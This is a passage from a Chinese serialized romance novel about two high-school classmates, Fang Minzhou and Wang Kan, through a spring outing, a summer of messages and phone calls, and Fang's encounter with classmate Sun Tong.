詹老师骂他只顾前不顾后,只顾当下不顾以后,“你是不是觉得很刺激?啊?高兴得不得了是不是?万一出什么事情,你负得起责任吗?老师说得不仅仅只是这次春游。” 詹老师骂他骂得对。 “我以为你不会理我了。”王衎说。 “……不会。”方敏周只觉得现在的王衎好脆弱,又像是关心她又像是自责,但她根本没有什么事情啊,相反,现在他在班级同学心中形象剧跌,这让她有点心虚。 “……你不觉得我害你丢脸了吗?”王衎又问。 哦这个啊…… 按理说好像是应该觉得有点丢脸,当着一众人的面掉下去什么的,但……也许是情况太突然,也许是大家的关心先拥而至,也许是王衎当时苍白的慌张,她有尴尬,但还真的没有感到难堪。 她把自己的蹦极比喻复述了一遍。 虽然她还没有蹦极过,估计也没有欧阳茜的勇气。但此刻再回想起来当时挂在空中的感觉,还是有小鸟像要从自己胸口飞出来,是自由的具体化。 王衎看着她。 “但是……”方敏周说,“之前的事情我还在生气。” 王衎愣了愣,反应过来后,他说:“以后不会了。” 不太诚恳,方敏周微微皱眉,“你为什么讨厌班长?” “很多原因啊。”王衎幽幽地说,“讨厌你喊他班长,讨厌他成绩比我好,讨厌每次考试成绩排名出来,你们两个的名字老是排在一起,讨厌你每次和他都这样笑。” 王衎作出温柔微笑的表情。 还讨厌……你和他看起来才像是同类人。 “哦,还有金柏浩,他老是问你问题,我也看他很不爽。”王衎说,“我就是吃醋啊。” “吃……什么?”方敏周磕绊了一下。 “吃醋。”王衎字正腔圆地说,“你不知道对吧,正常,因为你没有吃过我的醋,你没有像我喜欢你那样喜欢我。” 方敏周沉默。 她也许应该反驳的,但是她说不出口。 很多词汇穷尽一生可能都不过作为铅字存在,“吃醋”对方敏周来说当然不是生词,不像她不认识的英文单词,但因为她吃醋了,却是方敏周生平第一次。 她虽然讨厌王衎不讲道理、胡乱猜疑,却抑不住内心的甜蜜,而这又让方敏周觉得自己非常俗气。 “难道我之后只能和你一个男生说话吗?”她问。 “那到也不是……” “我其实觉得,你这样,很不尊重我,也不尊重其他人。” 王衎似是没想过这个问题,怔然片刻后,他承认,“你说得对。” 他的道德思想水平比不上方敏周。 两人之间再次陷入沉默,王衎像是以为她又生气了,看过来,“所以我知道错了,以后不会了。” 方敏周被他的表情变化逗笑,下巴点了点他手里的石头,模仿了下打水漂的动作,问:“这个要怎么玩?” 有句话说天才和疯子只有一线之隔,幸福和痛苦似乎也是相互依存,天堂和地狱原来也是咫尺为邻。 王衎把手里的一片三角形石头递给方敏周,“要选这种又薄又平的石头,然后像这样,”他另外低头找了一块石头捏在虎口,“平着飞出去——” 一下、两下、三下——沉底了。 王衎脸红地咳嗽了一声,“……我这块石头没选好。” 心里无比懊恼。 方敏周没给面子地笑出声,然后模仿王衎的姿势弯下腰——石头飞了五下,“我赢了,走吧,吃饭去。” “……你其实会打水漂吧,骗我的?” “不会啊,这有什么好骗你的。”方敏周挺意外地看向王衎,“你怎么这么输不起?” 王衎:“……” 走进松树林,隐约能闻到营地传来的热闹,方敏周想起一件事,“不过大家现在都觉得我们两个……” 关系不好。 她欲言又止。 王衎已经知道了,挺无所谓的:“嗯,这不刚好?正合你意。” 方敏周:“主要是对你印象很差。” 王衎:“那你要对我负责。” 方敏周:“……” 王衎还是刚才哭鼻子的样子比较可爱。 眼看着就要穿过树林,方敏周正打算和王衎商量谁先回去,忽地看到前方一人,方敏周差点躲起来,却是欧阳茜。 “你在这里干嘛?” 欧阳茜嘻嘻一笑:“这不是帮你们放哨吗?” 第36章 第 36 章 方敏周不知道为什么…… 方敏周不知道为什么, 有时候会觉得欧阳茜看她和王衎,就像大人在看小孩扮家家酒。 方敏周自己也有点赧然,可能相比之下, 她和王衎的相处确实小打小闹得很幼稚。 她已经有段时间没听欧阳茜提起过她小姨了, 上一次提起, 是说去了外地做生意。 三个人一起回去就不会引人注意, 不过还是方敏周同欧阳茜先回去, 王衎迟两分钟。 其他人的菜都上齐了,王衎也就没再起锅烧灶,改去帮郑彦航和吴丞烧烤。 郑彦航满头大汗, 瞥他一眼,说他现在风评很差, 他们得离他远一点,以免受到牵连, “不然要么就现在把你烤了, 以泄民愤。” 王衎一笑。 “所以你和……”郑彦航眼神一飘, 示意方敏周。 王衎面不改色:“什么?” “哇塞, 还装呢?”郑彦航面露嫌弃, “我们都看到了, 刚才你不见了之后,方敏周也不见了,然后她一回来, 你也回来了。” 吴丞好心补充:“‘我们’指的是我们两个,刚才找你没找到, 但其他人有没有发现就不知道了。” 王衎翻了下烤串,没说话。 郑彦航拍了拍王衎的肩膀,“多干点活, 将功补过。” 也是想要安慰一下王衎。 别人追女孩,都是雪中送炭、英雄救美、踏着七彩祥云出场什么的,哪有王衎这么倒霉的,没见他哪次把事办成了。 “你和我们方姐现在到底是什么情况?在一起了没?”郑彦航好奇。 “没有啊。”王衎说,“还在追。” “……我不信。”郑彦航怪声怪气,“那她还给你包扎,还过去找你?” “你要是把手切了,她也会过来给你包扎。” 郑彦航:“……” “我说真的。”王衎可以发誓。 郑彦航觉得王衎太不够哥们了。 女生里骂王衎归骂王衎,但也不是没人发现端倪,偷偷跑来问他:王衎是不是对方敏周有意思?他都替他否了,结果王衎什么都不跟他们说,他又不是什么大嘴巴的人。 不过,要说方敏周真的没答应,也不是不可能。 说实话,郑彦航觉得王衎也就是脸长得帅一点,要是他这样就能追到方敏周,那他…… “好了没啊?” “啊?好了好了。”郑彦航回过神,把烤好的串放在欧阳茜手中的铁盘子里。 欧阳茜端着满满一盘烤串回到桌前,把其中两串递给方敏周,方敏周不明所以地接过,吃完了,才知道是王衎烤的。 ……欧阳茜又拿她打趣。 后来她发现她做的糖醋排骨,正对着王衎,他夹了一块,啃得表情有点狰狞,还有点疑惑。 方敏周在他看过来前,连忙低下头扒饭,差点笑出声。 她在家里其实算是衣来伸手饭来张口,没怎么下过厨,临时和妈妈学的这道菜,当时妈妈就建议过她做些简单的。果然,排骨烧柴了,不然怎么无人问津呢,也就他咬不动了还吃了好几块。 下午还有一个高空滑索的项目,比上午的吊桥高十倍,但滑索速度不快,所以整体上还算是有惊无险。 每趟两个人,郑彦航和王衎一起滑过去,然后郑彦航就看到王衎紧张地望着对面,等方敏周滑过来了,他又漠不关心地走开。至于方敏周,似乎也不经意间在人群中找了找王衎。 难道两个人就是玩人前不熟那一套?郑彦航觉得自己好像有点看明白了,想同吴丞聊一聊,才知道这小子原来早已看透,也不和他说,合着傻子就他一个,王衎真没骗他? “你这是高兴还是伤心啊?”吴丞问。 “嗯?”郑彦航一愣,他有高兴吗?好吧,是有点幸灾乐祸,因为他也想谈恋爱啊!他对王衎羡慕嫉妒恨。 “那你也去谈呗。” “找谁谈?”郑彦航唉声叹气,没有人喜欢他,他也……没有喜欢谁。 说到这,郑彦航又不禁佩服起王衎,因为在他的印象里,方敏周一开始应该挺讨厌王衎的,包括他们这两个王衎的朋友,两个人不还吵过架吗? 那个时候,虽然也看出王衎有小心思,但没当一回事,换做他,感兴趣的女生讨厌自己,希望渺茫,他估计会干脆放弃,反正天涯何处无芳草。 所以……王衎是很喜欢方敏周咯?就是不知道方敏周是怎么想的,但被王衎喜欢上是好事吗?郑彦航又不觉得。 说不上来为什么,大概是觉得两个人还没谈就动不动吵架的,很悬,还是说,这就是恋爱? 但是回程的大巴车上,看到坐他旁边的王衎不玩游戏,反而一脸傻笑地消息发个不停,郑彦航心里叹了口气,还是愿意真诚为他祝福一下。 再回到学校,就进入了期末复习的阶段。 今年雨水格外多了些,整个六月,方敏周没骑过几次自行车。晚自习结束后,她延长了一点学习的时间,王衎同她一起,直到教室里的人寥寥无几,两个人再前后脚离开。各撑一把雨伞,天然地隔开恰当的社交距离,往公交车站走。 路上,方敏周会随机抽问王衎一些知识点,但有时雨下的太大,他们就会在嘈杂的雨声中沉默,慢慢走完这段不远不近的路。 期末考,班一还是孙彤,班二是林斯年,方敏周是班三,刚刚好,段十七。 但看到排名,方敏周又想起王衎说过的那些酸话,真是害人,导致她现在看到林斯年心里都有一丝尴尬。 当时成绩下来,王衎还在她耳边念叨,如果他物理哪里不扣分,他物理单科就比林斯年高了,还说她要是哪门再多几分,她就能是班一,听得方敏周想要捂他的嘴。 不过王衎这次进步倒确实挺大的,不仅突破了段八十的关卡,更是直接考到了段六十九,虽然和江大还是有差距,但这个分数,江城其他大学问题不大。 整个高二,王衎是班上进步最显著的学生之一,保持这股势头,高三说不定能考得更好。 班上还是流传着他把方敏周当竞争对手的说法。 其实王衎觉得,还会说这种话的人,实际是把他当作了竞争对手,但他表面上还是很不正经的,说他没有,他的目标更远大,他是要当段一的男人;方敏周倒是很委婉,但话里话外的意思是王衎和她的排名还差得比较远,不足够相提并论。 她的话传到王衎耳朵里,即使知道她是故意撇清关系,王衎本来满心他下次考试一定能进前五十的信心瞬间塌了一半。 还是很难不当真。 本来这个成绩他就不是很满意。 春游的时候,他和方敏周说他知道错了,以后不会再乱吃醋——可这真的很难。 他后来仔细反省,他的嫉妒,说白了,是自卑,因为成绩在方敏周的价值观中占据非常重的比例,而他一直没及格。 王衎后知后觉他和方敏周之间似乎不太平衡的关系,比如她更优秀,而他更喜欢她,所以这导致他很没有安全感——可是这又没办法和方敏周讲,他的问题,说出来,多少也很害臊。估计方敏周也会很懵,不知道她能做什么,或许话说回来,会是之前的那句,“我没办法答应你任何事情。” 早在一开始,她就说过。 王衎再认真思考,换了一种方式,缠着方敏周问,是不是觉得他很笨、会不会对他很失望之类的,其实就是想从她嘴里听到一句肯定,只是没留心,习惯性地又拉人垫背,像这次考差了的金柏浩,结果惹得方敏周皱眉,“你为什么每次都要拿自己和别人比啊?” 王衎觉得不是他多心,而是方敏周真的很维护金柏浩,“……考试本来就是和别人比啊。” 他说的是没错,但是,方敏周听得不舒服,“你换位思考下,如果换你考差了别人这么说你,你会开心吗?而且本来谁都会有考差的时候,我也有过考差的时候啊。” 你也有考差过啊。方敏周没把这句话说出来。 王衎闷了片刻,“……所以你觉得我能不能和你一样考上江大?” 这又不是靠个人意愿就能决定的事情,更何况高考充满了未知数,“我说不能你就不学了吗?” 王衎有点受伤地望着她。 方敏周也觉得自己态度太冷漠了,软下语气,“……我不是那个意思。” 她只是觉得……太在意别人只会损耗自己的心力,她就有过这种经历,而且王衎不是很自信的人吗? “我知道。”王衎低声,“你别生气。” “……我没生气。” 方敏周感觉他们并没有把事情讲清楚,可是她也不知道还应该怎么和王衎说,再说下去,好像又要吵架了,只有暂且作罢。 而对于王衎来说,他是不想再想太多了,每次提到金柏浩都会吵架,那以后就不提了,况且他确实没资格提,金柏浩虽然考差了,但排名还是比他高几名。 等会考结束,王衎满心以为自己能迎来一个幸福的暑假——虽然这个暑假严重缩水,八月多就得回学校开始上课,但王衎想好了,至少要和方敏周看成一场电影——再想了想,一场未免太少,暑假档那么多电影,看两场不过分。 结果晴天霹雳:他爸妈接下来两三个月都常驻南城,不放心王衎一个人在家。 王衎不要,“有什么不放心的,我以前暑假不都一个人在家?” “哪有一个暑假,最多不过两三天而已啊。”陈红姗说。 王衎不想和他妈争,他发现大人的记忆很差,一些事情要么不记得要么记错,明明从小学起,他就经常一个人在家,自己做饭给自己吃,懒得做就去吃快餐,吃到后面汉堡都吃到想吐。 “你小时候还吵着要和我们一起走。” “那我现在不是小孩子了——”王衎听他妈说起他小时候就有点烦,被他爸呵斥了一声,他只好闭上嘴,真不知道他爸妈今年来的哪出,然后想到了借口,“那我补习怎么办?我还要补习。” “你想补习,南城那边还没有老师?反正都是一套卷子。”陈红珊态度很坚决,她没有告诉王衎,她前两天和朋友聚会,才知道有个朋友的孩子就在不久前,去游泳溺亡了。比王衎还要小两岁,刚刚中考完的男孩子。 她和丈夫年轻的时候忙于打拼,现在人到中年,才有些后怕后悔,特别是看到王衎升入高二这一年以来的努力和进步,更让她心生感慨。 王衎还是不想去,王坤涛烦了,且觉得王衎表现古怪,硬要留在樟城,肯定就是想和朋友出去胡玩,那干脆断了零用钱,“看他去哪里玩!” 父子俩吵了一架,后来是外婆打来电话。外婆不知道女婿和孙子吵架了,只是问王衎,暑假要不要来南城玩,王衎无奈,只有妥协。 郁闷地给方敏周发消息。 “我暑假要去南城了/难过” 删掉。 “你暑假打算干嘛/抠鼻” 删掉。 既想说因为要去南城没法见面很难过,又想先试试方敏周的反应,最后发送:我后天要和我爸妈去南城了,得快开学的时候才能回来。 方敏周是手机在线,王衎打完了两盘游戏后才收到她的回复,一个“ok”的表情。 就这? 然后再是:那开学见。 王衎咬牙敲字:明天你有空吗?我请你看电影 方敏周:我这几天都在我外公外婆家。 王衎:…… 好吧,他还能说什么。 这天傍晚的天是蓝粉色的,听爸妈说,以前六七月是农活最忙的时候,要拔花生要插秧,还要管家里养的鸡和羊,再累,饭也得自己做,但现在不一样了,就是自己种点菜自己吃。 方敏周帮着外公从井里挑水泼洒到院子里去了暑气后,再拿起手机,才看到王衎给她发的新消息。 王衎:我感觉我会很想你。 王衎:你会想我吗?—— 作者有话说:那啥,经过周末的努力,能用的存稿还是0[好运莲莲] 暂时还是以九点半日更为目标,主要是想鞭策下自己的码字速度[眼镜] 如果没能准时更新,会提前发公告,十二点前日更应该能保证(弱声。 第37章 第 37 章 西沉的夕阳,落在了…… 西沉的夕阳, 落在了方敏周的脸上。 干活的时候没觉得,现在停下来,她身上一阵的发热出汗。方敏周从一旁的水龙头下接了一捧水洗脸, 又把手臂放到水流下轮流冲洗, 外公乐呵呵地说:“冰凉凉的, 舒服吧?” 方敏周关了水龙头, 拍拍自己的脸颊, 点头:“嗯。” 她不知道怎么回王衎,想着干脆不回好了,但那两句话的每个字都像生出了小爪子似得挠着她, 以至于方敏周晚饭都吃得心不在焉,被外公外婆关心是不是太热了胃口不好, 方敏周连忙多扒了两口饭。 吃完饭又吃了西瓜,过了很久, 方敏周才把之前从元月那边存的团子表情包发给王衎, 一个是学习的, 一个是说晚安的。 王衎很快回她:你知道晚安其实还有一个意思吗? 方敏周狐疑在手机百度输入这个问题, 弹出来的答案让她一愣, 再度面红耳赤, 羞恼地摁灭屏幕看电视,过了会,才解锁手机, 看到王衎回了她一个兔斯基晚安的表情包。 方敏周条件反射地绷住嘴角,但转念就想到, 隔着屏幕,王衎看不到,外公外婆也在院子里和邻居乘凉闲聊, 她想怎么笑就怎么笑,不会有人发现。 她心里冒出一个念头:要不明天回家?这几年村里修路,她来外公外婆家已经不像小时候那样麻烦,但是,她才刚来一天,要是王衎早点说……算了,反正又不是见不到了。 王衎去南城那天,早上问方敏周起床了没,方敏周回起了之后,他的消息便不断。 像实时的播报,天有多热、路有多堵,抵达南城后又给她拍照片,一些高塔地标、一些餐厅美食,画风从抱怨变成推荐,扯东扯西。 方敏周有一搭没一搭地回他,回得太频,他没完没了,隔太久再回,又不礼貌。 聊着聊着,方敏周想到只不过几个小时的车程,王衎就到了几千公里外的城市,遥远的距离因为即时的通讯而变得模糊,意识到这点,她心里有说不上来的感觉。 后来王衎来了一句:其实南城还是挺好玩的,你暑假不出去玩吗? 玩是会去玩的,但不会去南城,顶多就是在樟城附近的城市逛逛。 她好好编辑了一段话发给王衎,大意是这个暑假她没时间也没想法玩,要旅游,也是高考后的事了。 说这些,其实是想提醒王衎不要忘记学习,要是他在樟城,还能约在图书馆见面检查下他最近的学习进度,现在……又不能让他每天和自己汇报,那很奇怪。 王衎没有再秒回,而是过了一会,才发来:方敏周同学,你这样会让我误会,高考结束后我们可以毕业旅游 王衎:/坏笑/害羞 方敏周:/再见 今年的暑假,方敏周一半的时间在补习班,剩下的一半时间在家里或者图书馆,夏天太热了。偶尔也会和欧阳茜见面,吃饭看电影,逛完商城上下六层楼,但手里还是只有一杯奶茶。 暑假过半,方敏周和元月倒是只在新华书店见了一面,还是为了掩护她和沈路明碰头。元月上学期期末考考得一般,据她说,她哥有点生气,而且好像猜到她早恋了,所以管她管得特别严。 方敏周虽然是知情人,但客观评价,她看到的元月和沈路明之间并没有过分的亲密行为,那天在书店,就是一个女生和一个男生在挑教辅罢了,但多看几眼,又会看出两个人害羞腼腆的眼神中流转的暧昧,让方敏周也跟着有点脸红,不想再当电灯泡。 她和王衎每天都会聊天,说是聊天……其实也就是发发消息。在她还没有喝令制止王衎消息轰炸前,王衎好像提前有所意识地收敛了些他事无巨细的分享欲,只是拍张今天的云、今天吃的饭,聊下今天刷的题之类,是方敏周觉得刚刚好的程度。 暑假里也有同学组局出去玩,方敏周去了一次,说起来有点不好意思,那还是她第一次去KTV,但体验下来是有点后悔,因为她依然是一个唱不了歌的人,而且也没办法听别人唱歌唱好几个小时。 中途和欧阳茜溜出去透气,两个人坐在贴着墙的消防楼梯上,华灯初上,在空调房里待得冰凉的手脚被夜晚的热浪揉搓着,虽然身上有些黏糊糊的,但方敏周还是觉得挺舒服。 欧阳茜忽然问她:“诶,你和王衎想好要考什么哪里了吗?” 方敏周顿了顿,看向她,而她望着对面的灯火。 “江城吧。”她诚实道,没有闪避。 欧阳茜拉长音“哦”了声,好像她刚才放空的时候都在想这件事情一样,“我还以为你们还没聊过这个问题呢。” 方敏周:“……” 她佯怒地瞪欧阳茜,欧阳茜笑着道了歉,又问:“是你们本来就都想去江城吗?” 这个问题把方敏周问住了。 本来是怎么想的,她和王衎没谈过。她不知道王衎是不是有考虑过其他城市,比如……南城?而她也不是就要到江城读书,只是以包括江大在内的一些学校为目标。 江城是一个默认会一起去的城市。 “最后还是先看分数吧。”方敏周说,“你呢?” “没想好,都行吧,但肯定不会在樟城。”欧阳茜说。 方敏周有些意外欧阳茜话中隐隐的决绝,因为樟城其实也有不错的大学,尽管她很快换了轻松的语气抱怨,“我不想开学——我不要高考——” 方敏周也就笑了笑。 出来的时间长了点,她们回到包厢,一直在唱的同学一曲唱罢,大概是真的累了,把话筒递给方敏周和欧阳茜,方敏周立刻拒绝,却被欧阳茜硬拽住。 音乐响起,是那首《潇洒走一回》。 场子很炸,方敏周很窘,站一边干拍了半天手,最后郑彦航向她示意,方敏周如蒙大赦地把话筒递给他,安心坐在沙发上给他们鼓掌,还拿了个手摇铃伴奏。 听欧阳茜活泼肆意地唱歌,方敏周微微安心,她不想看到她刚才游离在尘世之外的模样。听着听着,见她和郑彦航互动,方敏周又有点蠢蠢欲动地羡慕,不禁遗憾自己刚才的小家子气。 其实就唱嘛,之前不也唱过了? 初中那次演讲比赛,老师说要懂得表现自己,不然到你面前的机会也会溜走。她深以为然,但一直以为是和比赛和输赢相关的机会,现在才明白,原来不是。 快乐的机会也会溜走。 如果有一次……方敏周心想,她会试试看。 大部分人都有门禁,方敏周爸妈没有明说过,但方敏周从来没有在十点后回家。八点多回到家洗漱好,方敏周发现她居然有两个来自王衎的未接电话。 他们一直Q/Q联系,除此之外只有王衎发过那封短信,电话从来没打过。 正惊疑着,又来电了。 方敏周吓了一跳,庆幸自己习惯把手机静音。确认房门关好了,方敏周坐到床边,感觉铃声下一秒就要挂断,但并没有……她按下了接通键,压低声音:“喂?你干嘛……” 王衎听到方敏周的声音一愣,既是没想到这次打通了,也是没准备好突然就听见了她的声音,手机里听起来,似乎有点不一样……他贴着手机的耳朵一下子就热了。 他坐不住,站起来走到阳台上,“没干嘛……” “……那你打电话?” “哦……”两个人说话都别别扭扭的,“我听说你们今天出去唱K了啊。” 哦对,她还没和王衎说这件事,“……嗯。” 良久,王衎那边都没有声音,方敏周拿开手机,见还在通话中,她“喂”了一声。 “……我都还没和你一起去唱过歌。”王衎语气郁闷,“怎么样,好玩吗?” 方敏周:“……” 其实是不好玩的,但要是真的这么回答,好像有哪里不对。 “就那样吧,还可以。”她说。 王衎又问:“但我听郑彦航说你都没怎么唱?” 方敏周:“……下次唱。” 郑彦航是王衎的眼线吗? “下次是什么时候?等我回樟城?” 门外忽然传来一声咳嗽,方敏周握紧了手机,脚步声自她门口走过,她暗暗松了口气,含糊道:“……再说吧。没什么事我要挂了。” “别!”王衎以为方敏周恼他了,借口都没想好就挽留,天知道他现在多想长双翅膀飞到方敏周身边去。他绞尽脑汁,他本来还想说什么来着……“唱歌有助于缓解压力,其实大家水平都差不多,都是挑自己拿手的,不然你下次再去KTV,你会发现大家唱来唱去还也就那几首。” “……那你都唱哪几首?”方敏周也不知道自己怎么问出了这样的问题,像是在挑衅他。 “我?我、我都可以啊。”王衎心下轰然,想耍帅,结果磕绊得他想咬舌自尽。 正觉得丢脸,他的房门被敲响,徐冉探进一个脑袋,“舅舅,你……” 王衎连忙招手把徐冉叫到身边,然后把开了免提的手机放在两人之间:“你觉得哥哥唱什么歌最好听?” 徐冉睁着大眼睛,略有探究地打量着他。 勉强笑得亲切的王衎:“……” 这是一个小孩脸上该出现的表情吗? 电话那头的方敏周感到了沉默,疑惑出声:“……王衎?” 王衎朝电话努努嘴,又向徐冉使眼色,徐冉眼里闪着光,在空中画了一个“m”。 王衎大为震惊。 深吸了一口气,皱眉郑重点头。 下一秒,徐冉换上笑脸,甜甜地对电话叫道:“姐姐,我是冉冉。” 王衎撑了撑额角,心想现在的小孩子怎么这么邪恶?对比一下方敏周单纯得可爱极了,温温柔柔地回道:“你好呀冉冉。” 徐冉看到舅舅干咳一声捂住了脸,和手背颜色对比,脸红红的。 “姐姐,我觉得我舅舅唱《海阔天空》最好听。” 王衎对徐冉竖起了一个大拇指。 徐冉很上道地唱了个开头,王衎立刻接上。 男生干净利落的声音和小女孩软萌的童声合在一起,方敏周心里默默跟着音乐的旋律。 “今天晚上月亮很圆啊。”唱完,手机那头王衎忽然说。 方敏周扭头看向窗户,是的,黄澄澄的一轮圆月,清晰得可以看清上面斑驳的阴影。 听嫦娥奔月的故事长大,长大后才知道那阴影处没有吴刚在砍桂树,也没有玉兔在捣药,但这一刻,方敏周心想,怪不得月亮是浪漫的符号。 “舅舅,还没有到中秋节,为什么月亮就是圆的?”徐冉问。 没有常识的小孩,王衎心里这么想,嘴上耐心解答:“月亮不是只在中秋节才会是圆的,每个月有一段时间它都会变圆。” “是吗?” “是啊,不信你下个月看看。”王衎说,“不对,你现在开始,每天晚上都看看。” 方敏周听对面一大一小聊天觉得很有意思,嘴角不自觉地笑着,反正王衎看不见,忽然,又听到客厅里隐约的动静,方敏周看了下时间,这通电话不知不觉间竟然聊了这么久,她不得不打断:“……那个,我要先挂了。” “啊?等下……” “什么?” 王衎碍于徐冉在场,一时却又说不出什么话来,只好妥协,“你挂吧,拜拜。” 方敏周应了一声,但过了两三秒,通话仍未切断,手机里传来王衎的声音:“你不挂吗?” 方敏周反应过来,王衎这是在等她先挂电话,她抠了抠腿边的床单,低了声音:“嗯,挂了,拜拜。” “嗯,拜拜。” 手机都发烫了。 打电话的时候没怎么,现在心跳得却有点快,再看了眼窗外的月亮,还有点惆怅。 妈妈果然敲响了她的门,这个时候方敏周已经平复好状态坐在桌前看书。 妈妈把一杯热牛奶端给她,“你今天早上起来不是有点脚抽筋吗?明天我再去菜市场买个骨头给你炖汤喝。” “我想喝海带排骨汤。”方敏周说。 “好,知道了。”妈妈笑着,把空杯子从方敏周手中拿走,“等会去刷牙,早点睡啊。” 方敏周点头,待房门关上后,方敏周下意识地又想去拿手机,但意识到这样不好,硬生生忍下了,迅速地给自己定了个小目标:看完手里的这本书的五章,才能玩手机。 效果说好不好,说差不差,心痒但能够忍耐,等看完,她去拿手机,王衎给她发了一个“晚安”的小猫表情包,自从那天她给他发过后,每天晚上他都会给她发一个晚安的表情包,每张还都不同,不知道是从哪里搜刮来的。 她怕被王衎调侃,从来不回,今晚也只是回了一个意味着晚安的弯弯的月亮。 第38章 第 38 章 六月末,高考出分,…… 六月末, 高考出分,一中考的不差,但略逊于往年, 令方敏周这批准高三多多少少更加忐忑。 方敏周拿上学期期末考的成绩同今年的分数线比对, 痴心盘算着到底哪里能再多几分, 再多几分就好了, 她就可以有更多的选择, 但这个选择是什么?她要学什么专业?想到这,方敏周又卡住了。 多了几分,就好像在迷宫游戏里多走了一段路, 但仍然没有走到终点,众多的岔口, 她要去叩响哪道门? 转头去分析王衎的成绩,越分析越伤脑筋, 也不知道他自己有没有放在心上。 夏天白昼长, 所以把日子拉得更加波澜不惊。这个暑假明明很短, 方敏周却已经有种过累了的感觉, 想来就是思虑过多, 就像升高中的那个暑假一样, 被一些担心高中学业跟不上之类心情拖累,有时候觉得不如干脆早点开学给个痛快——但也只是说说气话。 暑假的尾巴,补习结束了, 方敏周终于放松了一点,时间空得像白噪音, 茫茫然也不知道做什么。 台风来临的前一天,爸妈要在单位加班,方敏周本来只是想下楼随便吃点, 但心血来潮,慢慢一路走到了一中,先买了一杯奶茶,再去吃排骨面。 吃完面,方敏周又在附近的书店逛了逛,买了最新的地理杂志和杂志。 走出书店,晚霞漫天,空气还是温热,但风是凉快的,吹得树叶哗啦啦作响。 天际那某黛紫色的云彩越来越漂亮,像一条闪闪发光的丝绸绕天而过,边缘渐变的红光漫烂。 方敏周看了又看,拿出手机拍照。怎么拍都拍不出肉眼效果。她想到王衎发给她的那些照片,他拍的时候也是这样吗?但他发过来的照片都很好看啊,还是说樟城的云和南城的不一样? 方敏周想找个地方放一下东西,但一边是墙一边是树,转了一圈,还是只能拿在手上,这个时候,她看到了孙彤。 她也看到了她。 从孙彤放缓的脚步中,方敏周知道她和自己一样,都感到了尴尬。 但比起尴尬,方敏周更惊讶会在学校附近遇见孙彤。她住学校附近?那为什么还要住校? 迟疑好一会儿,方敏周还是微微笑了笑。 几步之外,孙彤站在树荫下,她穿黑色的短袖和蓝色的校裤,两只手都提着超市的塑料袋,眼镜一如既往地掩盖了她的表情,似乎能无声地与日暮融为一体。 这下方敏周是真的感到尴尬了,换别人她大概会有点恼,但对孙彤,好像就没什么好计较的了。 只见孙彤忽然调整了下手里的塑料袋,把其中一个套在了手腕上,走过来向方敏周伸出空出来的这只手。 塑料袋坠在两人之间,方敏周看到里面是一些食材,另一个贴着腿边的袋子里是一些生活用品,看起来更重一些。 方敏周反应过来后,把手里奶茶递给孙彤,书店的袋子还是自己拎着,“……谢谢。” 云霞已经开始变暗,方敏周举起手机快速地拍了几张,少了奶茶碍手,照片也没有变得更好看一点。方敏周把手机放回到裤兜里,再把奶茶从孙彤手中拿回来,又道了谢。 礼尚往来,方敏周想帮孙彤拿袋子,孙彤说不用,方敏周无话,沉默中,疾驰而过的一辆摩托车卷起一阵尘烟。 方敏周不是能说会道的人,但遇上更不会说话的孙彤,却莫名有种责任感上身,想把两个人的场子搞热:“你住学校附近吗?” 孙彤看着她,“我现在住在学校的教师宿舍。” 方敏周愣住。 教师宿舍也就是一中后门外的几栋白色小楼,铁栏拦起来,自成一个小院子,一般是给一些家离得比较远的老师住的。 “我没回家,想住宿舍但学校不让,詹老师很好,让我住她的宿舍。” 方敏周嘴张了张,应了声。 比起后悔自己问了不该问的,更疑惑孙彤为什么要和自己说这些。 这应该是一件“大事”,牵扯到孙彤为什么没回家,以及詹老师让她住教师宿舍是不是不合规矩?但孙彤说得疏松平常,方敏周也被迫表现得毫不吃惊。 孙彤忽尔就笑了笑,那笑意味不明,像是一种了然,又似乎带着一点嘲讽,不知道是嘲讽自己还是别人,弧度很小,且转瞬即逝,“我走了。” 她从她身侧走过,两个塑料袋发出细簌的声响。方敏周转头看,她的背依然挺得很直,但窄瘦的肩膀一高一低。 她犹豫了下,还是走到孙彤的旁边,把其中一个塑料袋从她手中拿过:“……我还是帮你拿一个吧。” 离得近,这次方敏周看清了孙彤镜片后惊讶的眼睛。 教师宿舍楼外观上看起来比学生宿舍好,盛夏时分绿树成荫,对于一中的学生来说,这儿要么是圣地要么是禁地,方敏周以前最多也只是从门口路过而已。 但走进楼内,就能看出历史久远,白色的墙面掉了灰,楼梯扶手也锈迹斑斑。一共五层楼,一层两户,没有电梯,不过相比其他的筒子楼,楼道很干净,没有小广告的痕迹。 詹老师的宿舍在三楼,防盗门上还贴着手写的春联。孙彤掏出钥匙打开房门,方敏周站在门口就能看完一室一厅一卫的全景,家居装潢也很简单。 “怎么样,有满足你的好奇心吗?”孙彤问她。 这句话不太友好,但因为语调平平没有情绪,所以没太让方敏周感到被攻击的不适。 她并不好奇老师的宿舍长什么样,她真正好奇的,是孙彤为什么上次元旦假期没回家,这次暑假也没回家,但……她不应该用“好奇”来形容这个问题。 在看到这间屋子里明显只有一个人的居住痕迹后,答案是一个呼之欲出的禁忌,方敏周一时不知道该说什么。 她有些愧疚。 她没有打探的恶意,只是把当下的疑惑当作寒暄,但其实,她默认孙彤不住在学校附近不是吗?可是,孙彤如果不想让她知道,完全可以含糊过去,可她没有,尽管她也没有隐藏她的戒备和敌意。 她既后悔自己多话,又疑惑孙彤为什么要和她说这些。 这让方敏周莫名觉得,孙彤是故意告诉她,她的生活,然后等待通过观察她的反应,再……判断她是一个什么样的人吗? 可是为什么? 在很长一段时间里,方敏周以为只有自己单方面地在较劲,因为她会觉得,孙彤没有把她当作过竞争对手。 她把袋子递还给她,“我只是想帮你提一下。” 孙彤看了她几秒,又问:“你要不要进来坐会?” 话虽如此,并没有欢迎她的感觉。 方敏周摇头,孙彤也没有要再客气,她转身进屋拿了两个拳头大的水蜜桃递给方敏周,“这是詹老师寄过来的。” 方敏周明白过来,孙彤这是在代詹老师行待客之礼。 “我记得詹老师提过,她老家的水蜜桃很好吃。”方敏周说。 詹老师上课从来直切主题,节奏快内容大,很少聊闲事,会提到水蜜桃,也只是因为当时讲到了一道关于水果催熟剂的题目。 孙彤微怔,难得地真的笑了,“是的,很甜。” 方敏周把书店的袋子敞开,露出了杂志的封面,她有点不好意思,把地理杂志拿出来放在前面,“……随便买的,你最近有看什么书吗?” 之前经过孙彤的桌前,她注意到她书上有一些图书馆借的书。 孙彤把桃子放进袋子里,又回去拿了两个,一个塑料袋塞得鼓鼓的,但没有接方敏周刚才的话。 